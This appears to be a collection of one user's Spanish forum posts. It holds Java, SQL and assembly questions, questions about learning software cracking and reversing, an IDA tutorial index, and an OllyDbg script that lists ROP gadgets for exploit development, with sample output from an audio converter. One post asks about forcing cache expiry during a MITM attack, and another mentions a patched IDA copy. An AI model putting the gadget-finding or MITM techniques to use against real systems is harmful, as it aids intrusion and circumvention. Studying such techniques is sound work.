Temas

Si estoy utilizando la técnica MITM, ¿Existe alguna manera de hacer que los usuarios expiren su cache?, saludos.

[java.awt.event.KeyEvent evt]

Hola a todos, tengo el siguiente método autogenerado:

private void jTextField_inputKeyReleased(java.awt.event.KeyEvent evt) {                                             
        if(jTextField_input.toString().trim().length() != 0){
            busqueda = jTextField_input.getText();
            actualizarJTable_clientes(1);
        }else{
            actualizarJTable_clientes(0);
        }
    }


¿Cómo puedo eliminar java.awt.event.KeyEvent evt desde NetBeans?, saludos

[Solucionado]

Hola estoy teniendo problemas con una consulta SQL (Access), me marca que los datos no coinciden con los de la BD, pero no logro darme cuenta cual es:

Lo que envío al método:

Código (java) [Seleccionar] Expandir

ArrayList datosClientes = new ArrayList();
                   datosClientes.add(jTextField_rut.getText());
                   datosClientes.add(tipo);
                   datosClientes.add(jTextField_nombre.getText());
                   datosClientes.add(jTextField_apellido_paterno.getText());
                   datosClientes.add(jTextField_apellido_materno.getText());
                   datosClientes.add(fechaNacimiento);
                   datosClientes.add("Date()");
                   datosClientes.add(sexo);
                   datosClientes.add(jTextField_direccion.getText());
                   datosClientes.add(jTextField_comuna.getText());
                   datosClientes.add(jTextField_ciudad.getText());
                   datosClientes.add(jTextField_tel_movil.getText());
                   datosClientes.add(jTextField_tel_fijo.getText());
                   datosClientes.add(jTextField_email.getText());
                   datosClientes.add(jTextField_referido.getText());
                   datosClientes.add(jTextField_descuento.getText());
                   datosClientes.add(jTextField_observaciones.getText());
                   
                   JavaClass.BDClass.insertarCliente(datosClientes);

insertarCliente:

Código (java) [Seleccionar] Expandir

public static void insertarCliente(ArrayList input) throws ClassNotFoundException, SQLException {
       String sql = "INSERT INTO Clientes(Rut, Tipo, Nombre, ApellidoPaterno, ApellidoMaterno, FechaNacimiento, FechaRegistro, Sexo, Direccion, Comuna, Ciudad, TelMovil, TelFijo, CorreoElectronico, Referido, Descuento, Observaciones) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);";
       
       JavaClass.BDClass db;
       db = new JavaClass.BDClass();

       conexion = db.connect();
       PreparedStatement pst = conexion.prepareStatement(sql);
       
       for(int i=1; i<12; i++){
           pst.setString(i, input.get(i-1).toString());
       }
       
       for(int i=12; i<14; i++){
           if(input.get(i).toString().trim().length() == 0){
               pst.setInt(i, 1);//
           }else{
               pst.setInt(i, Integer.parseInt(input.get(i-1).toString()));
           }
       }
       
       for(int i=14; i<16; i++){
           pst.setString(i, input.get(i-1).toString());
       }
       
       if(input.get(16).toString().trim().length() == 0){
           pst.setInt(16, 2);//      
       }else{
           pst.setInt(16, Integer.parseInt(input.get(15).toString()));  
       }
       
       pst.setString(17, input.get(16).toString());
       
       pst.executeUpdate();
       conexion.close();
       
       for(int i=0; i<17; i++){
           System.out.println(input.get(i));
       }
   }



Solucionado: El problema ocurría al intentar poner la fecha con setString, siendo correcto setDate

Cierro el thread

[línea 6]

Tengo algo más menos así:

Código (java) [Seleccionar] Expandir


        JComponent JComponent_form[][] = new JComponent[16][3];
        JComponent_form[0][0] = jTextField_rut;
        JComponent_form[1][0] = jComboBox_tipo;
        JComponent_form[2][0] = jTextField_nombre;
        JComponent_form[3][0] = jTextField_apellido_paterno;
        JComponent_form[1][0].setText("Hola");


La línea 6 me da problemas, ¿Cómo podría insertar un texto de forma similar?, saludos

Hola a todos, actualmente estoy jugando con un keygenme, este tiene las funciones dentro del ejecutable, cómo podría reconocer una función específica?, sé que IDA con las signature logran diferenciar entre código programado y librerías pero este no es el caso, debe ser una función de tratamiento de datos, estilo sprintf o printf ya que se empujan valores %x y %p, representado valores hex en string como:
"0x000000a8"

¿Alguna idea de api?
PD: Linux

¿Qué tanto la diferencia?, sé que dispone de mayores opciones, pero me molesta que los plugins de la versión 1.0 no sean compatibles con la 2.0, ¿que opinan ustedes?, ¿qué versión usan?

Saludos

Ambos son debugger .NET?, cual es su diferencia?, de donde previenen estos?, ¿cual surgió primero?, saludos

Hola a todos, actualmente estoy teniendo una duda con respecto a las opciones mostradas de IDA (F9), estas opciones son mostradas de acuerdo al archivo cargado en IDA, cuando cargo un P32 todas las opciones están cuerdas, excepto la que dice:
"Remote GDB debugger"  , o es que GDB depura PE32 también   creo que debe ser un error de programación (v6.1), a ver que dicen.



Ver Imagen: http://s2.subirimagenes.com/imagen/previo/thump_8626510sin-ttulo.png

Adjunto una imagen de las pruebas que he hecho (diagrama de depuración con IDA)

Hola a todos, Process32Next siempre me retorna 0, ¿A qué se debe?:

Código (asm) [Seleccionar] Expandir

.386
option casemap:none
.model flat,stdcall
include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\user32.inc
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\user32.lib

DlgProc PROTO,
hWnd:HWND,
uMsg:UINT,
wParam:WPARAM,
lParam:LPARAM

.const

.data
DlgName byte "IDD_DLG1",0
processName byte "calc.exe",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hThread HANDLE ?
processInf PROCESSENTRY32 <>

.code
FindProcess PROC
LOCAL hSnapshot:HANDLE

invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
mov hSnapshot,eax
invoke Process32First,hSnapshot,addr processInf
invoke Process32Next,hSnapshot,addr processInf
invoke GetLastError
ret

FindProcess ENDP

start:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke DialogBoxParam,hInstance,ADDR DlgName,NULL,ADDR DlgProc,NULL
invoke ExitProcess,eax
DlgProc PROC hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM
.IF uMsg == WM_INITDIALOG
mov processInf.dwSize,sizeof PROCESSENTRY32
invoke CreateThread,NULL,0,ADDR FindProcess,NULL,0,0
mov hThread,eax
push eax
.ELSEIF uMsg == WM_CLOSE
invoke EndDialog,hWnd,NULL
.ELSE
mov eax,FALSE
ret
.ENDIF
mov eax,TRUE
ret
DlgProc ENDP
END start

Hola a todos, estoy muy interesado en iniciarme en cracking en linux. Pero no sé que tutorial es adecuado para esto, ya que cómo saben las técnicas van cambiando y no me gustaría estudiar algo que esté obsoleto en ese entonces, los tutoriales que he encontrado son los siguientes:

http://ricardonarvaja.info/WEB/OTROS/CRACKING EN LINUX JUAN JOSE
http://ricardonarvaja.info/WEB/OTROS/APRENDIENDO%20%20A%20DEBUGGEAR%20Y%20EXPLOTAR%20EN%20LINUX/

Honestamente la finalidad del estudio de cracking bajo linux es poder aplicar los conocimientos y funcionamientos internos del SO para aplicar futuros estudios de exploits bajo linux.

A ver que opinan de los dos tutes encontrados, si hay otras alternativas (RECOMENDADAS), se los agradecería. Saludos

Hola a todos, hace un tiempo atrás pregunte sobre la existencia de una recopilación de estos tutoriales (los tutoriales se encuentran separados y algunos están perdidos), por lo cual me propuse que mientras estudiaba los tutoriales crearía un índice y recopilaría todos estos tutoriales en uno, aquí el trabajo realizado:

Índice:

1.— Preparando el camino
1.1—  Introducción a la teoría del desensamblado
1.1.1—  ¿Qué podemos decir del desensamblado?
1.1.2— ¿Por qué hay que desensamblar?
1.1.3— ¿Cómo desensamblar?
1.2— Desensamblado de barrido lineal
1.3— Desensamblado recursivo descendiente

2.— La base de IDA PRO
2.1— Instalación de IDA
2.1.1.— Instalación en Windows
2.1.2.— Instalación OS X y Linux
2.2.— Los directorios de IDA
2.3.— Concepción de la pantalla de usuario de IDA

3.1.— Iniciándonos con IDA
3.1.1.— Ejecutar IDA
3.1.2.— Cargar un archivo en IDA
3.1.3.— Utilizar el cargador Binary file
3.2.— Archivos de base de datos de IDA
3.3.— Advertencias del cargador
3.4.— Crear una base de datos IDA
3.4.1.— Identificación del compilador
3.4.2.— Identificación de argumentos de función y variables locales
3.4.3.— Información del tipo de datos
3.5.— Cerrar las bases de datos de IDA
3.6.— Reabrir una base de datos
3.7.— Introducción al escritorio de IDA
3.7.1.— Área de herramientas
3.7.2.— Banda de navegación
3.7.3.— Solapas
3.7.4.— Vista de desensamblado (disassembly view)
3.7.5.— Vista gráfica general (graph overview)
3.7.6.— Ventana de mensajes (message windows)
3.7.7,— Ventanas
3.8.— Comportamiento del escritorio durante el análisis inicial
3.9.— Algunos recursos y trucos del área de trabajo de IDA

4.— Las vistas principales de IDA
4.1.— La ventana de desensamblado
4.1.1.— Vista gráfica de IDA (Graph View)
4.1.2.— Vista de listado IDA
4.1.3.— La ventana Names
4.1.4.— Ventana de mensajes
4.1.5.— La ventana Strings
4.2.— Ventanas secundarias de IDA
4.2.1.— Ventana Hex View
4.2.2.— Ventana Exports
4.2.3.— Ventana Imports
4.2.4.— Ventana Functions
4.2.5.— Ventana Structures
4.2.6.— Ventana Enums
4.3.— Ventanas terciarias de IDA
4.3.1.— Ventana Segments
4.3.2.— Ventana Signatures
4.3.3.— Ventana Type Libraries
4.3.4.— Ventana Function Calls
4.3.5.— Ventana Problems

5.1.— Navegación básica de IDA
5.1.1.— Navegación con doble click
5.1.2.— Saltar a una dirección
5.1.3.— Historial de navegación
5.2.— Estructura de pila (Stack Frame)
5.2.1.— Acuerdos de llamada (Calling Conventions)
5.2.1.2.— Acuerdo de llamada Standard
5.2.1.3.— Acuerdo de llamada para x86 fastcall
5.2.1.4.— Acuerdos de llamada C++
5.2.1.5.— Otros acuerdos de llamada
5.2.2.— Esquema de variable local
5.2.3.— Unos ejemplos de Stack Frame
5.2.4.— Vistas de la pila en IDA
5.3.— Buscar en la base de datos
5.3.1.— Búsqueda de texto
5.3.2.— Búsqueda binaria

6.1.— Nombres y nombramiento
6.1.1.— Parámetros y locales variables
6.1.2.— Ubicaciones con nombre
6.1.3.— Nombres de registro
6.2.— Realizar comentarios en IDA
6.2.1.— Comentarios corrientes
6.2.2.— Comentarios repetitivos
6.2.3.— Comentario de línea anterior y posterior
6.2.4.— Comentarios de función
6.3.— Transformaciones básicas del código
6.3.1.— Opciones de vista de código
6.3.2.— Formato de los operandos en las instrucciones
6.3.3.— Manipular funciones
6.3.3.1.— Crear funciones nuevas
6.3.3.2.— Borrar funciones
6.3.3.3.— Funciones troceadas
6.3.3.4.— Atributos de función
6.3.3.5.— Ajustes del puntero de pila (Stack Pointer)
6.3.4.— Convertir datos a código y viceversa
6.4.— Transformaciones básicas de datos
6.4.1.— Especificar el tamaño de los datos
6.4.2.— Trabajar con cadenas (Strings)
6.4.3.— Especificar Arrays (Conjuntos)

7.0.— Tipos de datos y estructuras de datos (Introducción)
7.1.— Reconocer la estructura de datos que se utiliza
7.1.1.— Acceso a un elemento de un array (conjunto)
7.1.1.1.— Conjuntos distribuidos globalmente
7.1.1.2.— Conjuntos distribuidos en la pila
7.1.1.3.— Conjuntos distribuidos en el Heap (almacenamiento de pila)
7.1.2.— Acceso a un elemento de estructura
7.1.2.1.— Estructuras distribuidas globalmente
7.1.2.2.— Estructuras distribuidas en la pila
7.1.2.3.— Estructuras distribuidas en el heap
7.1.2.4.— Estructuras de conjuntos
7.2.— Crear estructuras en IDA
7.2.1.— Realizar el esquema de una estructura de forma manual
7.2.1.1.— Crear una nueva estructura (Create structure/Union)
7.2.1.2.— Editar los elementos de una estructura
7.2.1.3.— Stack frame, una estructura especial
7.3.— Utilizar estructuras plantilla
7.4.— Importar nuevas estructuras
7.4.1.— Analizar las declaraciones de estructuras C
7.4.2.— Analizar encabezados de archivos C
7.5.— Utilizar estructuras estandarizadas
7.6.— Archivos de IDA con extensión TIL
7.6.1.— Cargar nuevos archivos .til
7.6.2.— Compartir archivos TIL
7.7.— Compendio de ingeniería inversa para C++
7.7.1.— El puntero this
7.7.2.— Funciones virtuales y vtable
7.7.3.— El ciclo vital del objeto
7.7.4.— Deformación de nombres (names)
7.7.5.— Identificación de tipos en tiempo de ejecución
7.7.6.— Relaciones de herencia

8.0.— Referencias cruzadas y gráficos
8.1.— Referencias cruzadas
8.1.1.— Referencias cruzadas de código
8.1.2.— Referencias cruzadas de datos
8.1.3.— Listado de referencias cruzadas
8.1.4.— Llamadas de función
8.2.— Graficado en IDA
8.2.1.— Graficado heredado para IDA
8.2.1.1.— Ordinagramas legacy
8.2.1.2.— Graficado heredado de llamadas
8.2.1.3.— Graficado heredado de referencias cruzadas
8.2.1.4.— Graficados de referencias cruzadas a medida
8.2.2.— Vista gráfica integrada de IDA

9.0.— Las caras de IDA
9.1.— IDA en modo consola
9.1.1.— Características comunes en modo consola
9.1.2.— IDA en la consola Windows
9.2.— Utilizar IDA en modo Batch
9.3.— La IDA GUI en plataformas no Windows

10.1.— Archivos de configuración IDA
10.1.1.— ida.cfg: archivo principal de configuración
10.1.2.— idagui.cfg: configuración de la GUI
10.1.3.— idatui.cfg: Configuración de la consola
10.2.— Opciones de configuración adicionales en IDA
10.2.1.— Colores en IDA
10.2.2.— Personalizar las barras de herramientas de IDA

11.0.— Reconocimiento de librerías utilizando firmas FLIRT
11.1.— Tecnología de identificación y reconocimiento rápido de librería
11.2.— Aplicación de firmas FLIRT
11.3.— Crear archivos de firma FLIRT
11.3.1.— Pasos generales para crear firmas
11.3.2.— Identificar y encontrar las librerías estáticas
11.3.3.— Crear archivos maestros
11.3.4.— Crear archivos de firmas
11.3.5.— Firmas de arranque

12.1.— Aumentar la información de las funciones para IDA
12.1.1.— Archivos IDS
12.1.2.— Crear archivos IDS
12.2.— Aumentar los comentarios predefinidos con loadint

13.1.— El vergonzoso menú "Patch Program"
13.1.1.— Cambiar bytes individualmente en la base de datos
13.1.2.— Cambiar en la base de datos un "Word"
13.1.3.— Utilizar el diálogo Assemble
13.2.— Archivos de salida de IDA y generación de parches
13.2.1.— Generar archivos MAP
13.2.2.— Generar archivos ASM
13.2.3.— Generar archivos INC
13.2.4.— Generar archivos LST
13.2.5.— Generar archivos EXE
13.2.6.— Generar archivos DIF
13.2.7.— Generar archivos HTML

14.0.— Realizar scripts con IDC
14.1.— Ejecución básica de un script
14.2.— El lenguaje IDC
14.2.1.— Variables IDC
14.2.2.— Expresiones IDC
14.2.3.— Declaraciones IDC
14.2.4.— Funciones IDC
14.2.5.— Programas IDC
14.2.6.— Como se tratan los errores en IDC
14.2.7.— Almacenamiento permanente de datos en IDC
14.3.— Asociar scripts IDC con los atajos de teclado
14.4.— Utilizar funciones IDC
14.4.1.— Funciones para leer y modificar datos
14.4.2.— Utilizar funciones interactivas
14.4.3.— Funciones para manipulación de strings
14.4.4.— Funciones de archivo Input/Output
14.4.5,— Manipulación de los "Names" de la base de datos
14.4.6.— Funciones que trabajan con funciones
14.4.7.— Funciones para referencias cruzadas de código
14.4.8.— Funciones para referencias cruzadas de datos
14.4.9.— Funciones para la manipulación de la base de datos
14.4.10.— Funciones de búsqueda en la base de datos
14.4.11.— Componentes de la línea de desensamblado
14.5 Ejemplos de scripts idc
14.5.1.— Enumerar funciones
14.5.2.— Enumerar instrucciones
14.5.3.— Enumerar referencias cruzadas
15.5.3.1.— Enumerar los llamadores de una función
14.5.4.— Enumerar funciones exportadas
14.5.5.— Hallar y etiquetar los argumentos de una función

15.0.— Alineando ideas
15.1.— Introducción al SDK
15.1.1.— Instalación del SDK
15.1.2.— Esquema del SDK
15.1.3.— Configurar un entorno de trabajo
15.2.— Interfaz de programación de IDA
15.2.1.— Conocer los archivos Header
15.2.2.— Netnodes
15.2.2.1.— Crear netnodes
15.2.2.2.— Almacenar datos en netnodes
15.2.2.3.— Eliminar netnodes y datos netnode
15.2.3 Tipos de dato útiles del SDK
15.2.4.— Funciones SDK de uso común
15.2.4.1.— Acceso básico a la base de datos
15.2.4.2.— Funciones de interconexión con el usuario
15.2.4.3.— Manipulación de los nombres (Names) en la base de datos
15.2.4.4.— Manipulación de funciones
15.2.4.5.— Manipulación de estructuras
15.2.4.6.— Manipulación de segmento
15.2.4.7.— Referencias cruzadas de código
15.2.4.8.— Referencias cruzadas de datos
15.2.5,— Técnicas de iteración utilizando IDA API
15.2.5.1.— Enumerar funciones
15.2.5.2.— Enumerar elementos de estructura
15.2.5.3.— Enumerar referencias cruzadas

16.0— Arquitectura de IDA Plug-in
16.1.— Programar un plug-in
16.1.1.— El ciclo vital del plug-in
16.1.2.— Inicialización del plug-in
16.1.3.— Notificación de eventos
16.1.4.— Ejecución de un plug-in
16.2.— Construir nuestros plug-in
16.3.— Instalación de plug-in
16.4.— Configuración de plug-in
16.5.— Extensión con IDC
16.6.— Opciones de diseño para pantalla de usuario del plug-in
16.6.1.— Construir elementos de enlace (pantalla) con el SDK
16.6.1.1.— Utilizar los diálogos de elección (Choose) del SDK
16.6.1.2.— Crear formularios a medida con el SDK
16.6.1.3.— Otras técnicas para generar pantallas de usuario

17.0.— Binary file y módulos de carga
17.1.— Análisis de archivos desconocidos
17.2.— Carga manual de un archivo PE Windows
17.3.— Módulos de carga IDA
17.4.— Programar un cargador IDA
17.4.1.— Cargador para Papanatas
17.4.2.— Construir un módulo de carga IDA
17.4.3.— Un cargador pcap (packet capture) de ida
17.5.— Estrategias para otros cargadores

18.0 – Módulos de procesador de IDA
18.1.— Byte code Python
18.2.— El intérprete Python
18.3.— Programar un módulo procesador
18.3.1.— La estructura processor_t
18.3.2.— Inicialización básica de la estructura LPH
18.3.3.— El analizador
18.3.4.— El emulador

Link de descarga (Indice + tutoriales todo en un solo .PDF), incluye archivo de ejemplo utilizado en el tutorial y una referencia sobre la creación de plugins en C/C++:
http://www.mediafire.com/download/iu66f7w8lw7bm9g/IDA_de_cabo_a_rabo_por_Bigundill%40_recopilado_por_UND3R.rar

Espero que les sea de ayuda, saludos.

PD: A ver si alguien se anima a publicarlos en CLS, perdí mi correo electrónico.

Hola a todos, cómo podría interceptar el código HTML desde Java, en google solo encuentro referencias en donde se descarga el código HTML, pero esto es distinto, saludos.

EDIT: Me conformo con simplemente poder editar el código html desde Java, saludos

Hola a todos, llevo algunas semanas iniciándome con IDA pero me surge la duda de IDAW.exe (IDA en modo consola), ¿Donde se puede conseguir?, tengo una versión de IDA 6.4 parcheada encontrada en Internet, pero este no tiene IDAW.exe, me descargué la demo de la 6.4 y tampoco lo logré encontrar. A ver si me aclaran un poco mis dudas, saludos.

[EDIT]

¿Para que sirve cargar las signature de IDA en OllyDbg?

EDIT: Al parecer me marca errores. Selecciono el path de sig (path dentro de IDA), pero me marca que no se puede leer los archivos .sig (aunque estos son mostrados)

EDIT2: Para que el plugins usa UPX.exe

EDIT3: godup.hlp, está estropeado.

[ekoparty]

Hola a todos, me gustaría saber si este año habrá ekoparty y si saben si será en Argentina (Buenos aires), gracias y saludos  .

Hola a todos, hace poco armé una aplicación en Java en donde intenté agregar al JFrame extends Thread, tras seguir modificando el ejecutable (IDE Netbeans), me he percatado que los métodos de los componentes, están como muertos, me explico:

- Tengo un textfield en donde por defecto dice "Hola", el problema radica que cuando modificao el texto: "Adios", al momento de obtener su valor con .getText(), me devuelve "Hola", como si no se hubiese modificado el texto, sospecho de una alerta que me mostró Netbeans cuando agregué extends Thread, por que antes funcionaba todo normal, a ver si alguien me logra ayudar, gracias

Hola a todos, tengo una String (posee un código html) en donde me gustaría obtener el contenido que se encuentre entre dos coincidencias, algo más menos así:

poner http://?????????????????????????????????????????.jpg

cómo puedo realizar una búsqueda de esta manera?, ya que siempre se especifica un caracter o una string pero no un espacio entre medio.

Saludos.

Visitando la página:

http://ricardonarvaja.info/WEB/OTROS/IDA BIGUNDILLA

Me he percatado que faltan algunos capítulos, exactamente 2, logré conseguirlos en CLS, pero mi duda radica en: si es que existe algún PDF con todos los tutoriales, ya que no me gustaría perderme ningún capítulo, a ver si me logran responder saludos.

PD: BIGUNDILLA en CLS, comenta que tras terminar la serie de tutoriales iba a crear un solo PDF con todo, pero al parecer nunca lo publicó o creó.

Hola a todos, me ha indagado la curiosidad de aprender a crackear en linux, pero me gustaría saber si hay algún tutorial actualizado de esto, he encontrado:

http://ricardonarvaja.info/WEB/OTROS/CRACKING EN LINUX JUAN JOSE

Pero no sé si es un documento que aún sirva, a ver si me ayudan, saludos.

Hola, me gustaría saber cuales son las ventajas y desventajas entre estos dos debugger (obviando la existencia de plugins), la parte gráfica y atajos de comandos son tal iguales, que me hace pensar que es una copia exacta, a ver si me orientan, saludos.

Hola a todos, vengo a hacer una pregunta con respecto a este debugger:

1) ¿Es un buen debugger?

2) ¿Cuando es recomendado usarlo?

3) ¿algunas ventajas con respecto a OllyDbg?

He visto que mucha gente lo usa, creo haber encontrado algunas ventajas como la información que se puede recaudar del Heap, si no me equivoco podría ser que este debugger presenta mayor información sobre el PE en tiempo de ejecución?, a ver si me ayudan y orientan.

Saludos.

Hola a todos, tengo una duda con respecto a OllyDgScript, ¿cómo podria obtener el baseaddress del ejecutable cargado en memoria?, he visto algunos comandos peros todos se basan en que deben recibir cómo parámetro una dirección (eip), a ver si me ayudan, saludos.

Hola a todos, siempre he andado por el lado inverso, pero esta vez me surge una duda a nivel de "programador", ¿cómo instalo armadillo fingerprint en un ejecutable?, ¿o algún derivado que genere licencias de acuerdo a un hardwareid del equipo?

[PUSH EAX]

Estudiando sobre creación de exploit, no me he percatado de la existencia de un plugins para OllyDbg que se encargue de mostrar Rop gadgets en todos los módulos executables cargados por el PE, por lo que me animé a crear un script:

El script se encarga de analizar todos los módulos executables del PE, verificando si se encuentran rutinas ROP Gadgets (estas deben ser especificadas por el usuario), tras terminar el script, se crea un archivo con una lista de todas las instrucciones de forma ordenada.

se puede buscar una o varias instrucciones:

PUSH EAX Busca esta instrucciones y la agrega al log si al menos en las 6 siguientes instrucciones existe una instrucción RETN N.

PUSH EAX;PUSH ECX Busca estas dos instrucciones y se agrega al log si almenos las siguientes 6 instrucciones existe una instrucción RETN N.

Se pueden usar:

R32, R16, R8, CONST

Ej: PUSH R32  busca todos los PUSH con registre de propósito general de 32 bits que en donde al menos las siguientes 6 instrucciones existe una instrucción RETN N.

EJ: MOV EAX,CONST busca todos MOV EAX con constantes, que en donde al menos las siguientes 6 instrucciones existe una instrucción RETN N.

*N = RETN hasta RETN 0x30

Código (asm) [Seleccionar] Expandir

VAR V_ANY
VAR V_COUNT
VAR V_COUNT_REFERENCE
VAR V_COUNT_OPCODE
VAR V_OPCODE
VAR V_ADDRESS
VAR V_ROP_GADGET
VAR V_MODULE_ADDRESS
VAR V_MODULE_NAME
VAR V_MODULE_MBASE
VAR V_MODULE_CBASE
VAR V_MODULE_SIZE
VAR V_UNICODE
VAR V_INSTRUCTION
VAR V_INPUT_NAME
VAR V_OUTPUT_NAME

ASK "Enter instruction(s) EX: "PUSH EAX;PUSH ECX" , "PUSH R32;RETN" , "PUSH CONST", etc."
MOV V_INSTRUCTION,$RESULT

ASK "Only Unicode address finder?: (Y)/(N)"
MOV V_UNICODE,$RESULT

ASK "Output filename without extension EX: ROP1"
MOV V_INPUT_NAME,$RESULT

EVAL "ROPGadgets-{V_INPUT_NAME}.log"
MOV V_OUTPUT_NAME,$RESULT

MOV V_ANY,6

WRT V_OUTPUT_NAME,"  ------------------------------------ ROP Gadgets v1.0 ------------------------------------"

L_ENTRY_POINT:
FINDMEM #546869732070726F6772616D#,V_MODULE_ADDRESS
MOV V_MODULE_ADDRESS,$RESULT
CMP V_MODULE_ADDRESS,0
JE L_EXIT

GMI V_MODULE_ADDRESS,NAME
MOV V_MODULE_NAME,$RESULT

GMI V_MODULE_ADDRESS,MODULEBASE
MOV V_MODULE_MBASE,$RESULT

GMI V_MODULE_ADDRESS,CODEBASE
MOV V_MODULE_CBASE,$RESULT

GMI V_MODULE_ADDRESS,MODULESIZE
MOV V_MODULE_SIZE,$RESULT

WRTA V_OUTPUT_NAME,"/--------------------------------------------------------------------------------------------\"
EVAL "| Module address:[{V_MODULE_MBASE}]  |  Module size:[{V_MODULE_SIZE}]  |  Name:[{V_MODULE_NAME}]"
WRTA V_OUTPUT_NAME,$RESULT
WRTA V_OUTPUT_NAME,"----------------------------------------------------------------------------------------------"

FINDCMD V_MODULE_CBASE,V_INSTRUCTION
CALL L_FIND_GADGET

INC V_MODULE_ADDRESS
JMP L_ENTRY_POINT

L_EXIT:
RET

L_FIND_GADGET:
GREF
MOV V_COUNT_REFERENCE,$RESULT
INC V_COUNT_REFERENCE

L_NEXT_REFERENCE:
XOR V_COUNT_OPCODE,V_COUNT_OPCODE
CMP V_COUNT,V_COUNT_REFERENCE
JAE L_RETURN

GREF V_COUNT
INC V_COUNT
MOV V_ADDRESS,$RESULT
CMP V_ADDRESS,eip
JE L_NEXT_REFERENCE
CMP V_UNICODE,"Y"
JE L_UNICODE_CHECK
L_UNICODE_CONTINUE:
OPCODE V_ADDRESS
ITOA V_ADDRESS
LEN $RESULT
CMP $RESULT,6
JE L_ADD1_2
CMP $RESULT,7
JE L_ADD1_1

L_ADD1_0:
EVAL "|{V_ADDRESS} | {$RESULT_1}\r\n|"
JMP L_ADD_CONTINUE1

L_ADD1_1:
EVAL "|0{V_ADDRESS} | {$RESULT_1}\r\n|"
JMP L_ADD_CONTINUE1

L_ADD1_2:
EVAL "|00{V_ADDRESS} | {$RESULT_1}\r\n|"

L_ADD_CONTINUE1:
MOV V_ROP_GADGET,$RESULT

L_NEXT_OPCODE:
ADD V_ADDRESS,$RESULT_2
OPCODE V_ADDRESS
MOV V_OPCODE,$RESULT
ITOA V_ADDRESS
LEN $RESULT
CMP $RESULT,6
JE L_ADD2_2
CMP $RESULT,7
JE L_ADD2_1

L_ADD2_0:
EVAL "{V_ADDRESS} | {$RESULT_1}\r\n|"
JMP L_ADD_CONTINUE2

L_ADD2_1:
EVAL "0{V_ADDRESS} | {$RESULT_1}\r\n|"
JMP L_ADD_CONTINUE2

L_ADD2_2:
EVAL "00{V_ADDRESS} | {$RESULT_1}\r\n|"

L_ADD_CONTINUE2:
ADD V_ROP_GADGET,$RESULT

CMP "C3",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 0400",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 0800",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 0C00",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 1000",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 1400",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 1800",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 1C00",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 2000",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 4000",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 8000",V_OPCODE
JE L_LOG_OPCODE
CMP "C2 C000",V_OPCODE
JE L_LOG_OPCODE
CMP "C3 0000",V_OPCODE
JE L_LOG_OPCODE
INC V_COUNT_OPCODE
CMP V_COUNT_OPCODE,V_ANY
JA L_NEXT_REFERENCE
JMP L_NEXT_OPCODE

L_LOG_OPCODE:
WRTA V_OUTPUT_NAME,V_ROP_GADGET
JMP L_NEXT_REFERENCE

L_UNICODE_CHECK:
TEST V_ADDRESS,FF00FF00
JNE L_NEXT_REFERENCE
JMP L_UNICODE_CONTINUE

L_RETURN:
WRTA V_OUTPUT_NAME,"\--------------------------------------------------------------------------------------------/" + "\r\n\r\n\r\n\r\n"
XOR V_COUNT,V_COUNT
RET

Ejemplo de búsqueda:

Código [Seleccionar] Expandir

  ------------------------------------ ROP Gadgets v1.0 ------------------------------------
/--------------------------------------------------------------------------------------------\
| Module address:[400000]  |  Module size:[BE000]  |  Name:[RM2MP3Co]
----------------------------------------------------------------------------------------------
|0040A7A7 | PUSH EAX
|0040A7A8 | PUSH ECX
|0040A7A9 | CALL DWORD PTR DS:[0x43C064]
|0040A7AF | RETN 0x4
|
|0040A7C7 | PUSH EAX
|0040A7C8 | PUSH ECX
|0040A7C9 | CALL DWORD PTR DS:[0x43C898]
|0040A7CF | PUSH EAX
|0040A7D0 | CALL 004372E6
|0040A7D5 | RETN 0x4
|
|0040A835 | PUSH EAX
|0040A836 | PUSH ECX
|0040A837 | CALL DWORD PTR DS:[0x43C0D0]
|0040A83D | RETN 0x1C
|
|0040BA2E | PUSH EAX
|0040BA2F | PUSH ECX
|0040BA30 | CALL 004094D0
|0040BA35 | ADD ESP,0xC
|0040BA38 | POP EDI
|0040BA39 | POP ESI
|0040BA3A | RETN 0xC
|
|0041270C | PUSH EAX
|0041270D | PUSH ECX
|0041270E | CALL DWORD PTR DS:[0x43C840]
|00412714 | MOV ECX,ESI
|00412716 | CALL 00437142
|0041271B | POP ESI
|0041271C | RETN
|
|0041668F | PUSH EAX
|00416690 | PUSH ECX
|00416691 | CALL DWORD PTR DS:[0x43C7A4]
|00416697 | POP EDI
|00416698 | POP ESI
|00416699 | ADD ESP,0x30
|0041669C | RETN 0xC
|
|00425F44 | PUSH EAX
|00425F45 | PUSH ECX
|00425F46 | CALL DWORD PTR DS:[0x43C01C]
|00425F4C | RETN 0x8
|
|00436077 | PUSH EAX
|00436078 | PUSH ECX
|00436079 | CALL DWORD PTR DS:[0x43C840]
|0043607F | RETN 0x4
|
|0043799C | PUSH EAX
|0043799D | PUSH ECX
|0043799E | CALL 004379BE
|004379A3 | POP ECX
|004379A4 | POP ECX
|004379A5 | RETN
|
\--------------------------------------------------------------------------------------------/




/--------------------------------------------------------------------------------------------\
| Module address:[58C30000]  |  Module size:[97000]  |  Name:[comctl32]
----------------------------------------------------------------------------------------------
|58C3E87E | PUSH EAX
|58C3E87F | PUSH ECX
|58C3E880 | PUSH DWORD PTR SS:[EBP+0x10]
|58C3E883 | PUSH DWORD PTR SS:[EBP+0xC]
|58C3E886 | CALL DWORD PTR DS:[0x58C314D0]
|58C3E88C | POP EBP
|58C3E88D | RETN 0x10
|
|58C4237D | PUSH EAX
|58C4237E | PUSH ECX
|58C4237F | CALL 58C41198
|58C42384 | XOR EAX,EAX
|58C42386 | INC EAX
|58C42387 | POP ESI
|58C42388 | POP EBP
|58C42389 | RETN 0x8
|
